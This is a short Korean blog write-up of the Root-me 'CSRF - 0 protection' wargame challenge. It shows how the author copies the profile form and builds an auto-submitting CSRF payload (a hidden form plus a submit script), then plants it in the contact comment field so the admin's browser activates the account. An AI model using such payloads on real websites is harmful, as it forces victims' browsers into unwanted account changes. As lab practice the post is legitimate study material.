-
<Root-me> CSRF - 0 protectionWargame/Root-me = Web - Client 2021. 12. 24. 13:24
인트라넷에 접속하기 위해 계정을 활성화시키라고 한다.
먼저 Register를 통해 woong으로 가입을 하고 로그인을 한다.
Profile을 살펴보면
Status 체크박스가 비활성화되어있다.
Private를 살펴보면
기다리라고 한다.
Contact를 살펴보면
이메일과 코멘트를 입력할 수 있다.
문제 제목이 CSRF인 만큼, Contact를 통해 계정을 활성화시켜야 할 것 같다.
Profile 페이지의 소스 코드를 살펴보면
우리에게 필요한 부분은 form 태그로 감싸진 부분이다.
필요한 부분만 추리면
<form action="?action=profile" method="post" enctype="multipart/form-data"> <input type="text" name="username" value="woong"> <input type="checkbox" name="status" disabled > </form>
그리고 action을 Profile의 full URL로 변경하고, status가 체크되어야 하므로 disabled를 checked로 바꾼다.
여기까지만 입력하면 form이 제출되지 않는다.
따라서, form에 id를 부여하고, getElementById를 통해 form을 참조하게 해야 한다.
<form id="csrf" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data"> <input type="text" name="username" value="woong"> <input type="checkbox" name="status" checked > </form><script>document.getElementById("csrf").submit();</script>
위 구문을 Contact의 Comment에 입력하여 제출하고 Private에 들어가 보면
flag를 얻을 수 있다.
'Wargame > Root-me = Web - Client' 카테고리의 다른 글
<Root-me> Install files (0) 2022.01.05 <Root-me> XSS - Stored 1 (0) 2022.01.04 <Root-me> CSP Bypass - Inline code (0) 2021.12.22 <Root-me> Javascript - Obfuscation 3 (0) 2021.12.20 <Root-me> Javascript - Native code (0) 2021.12.19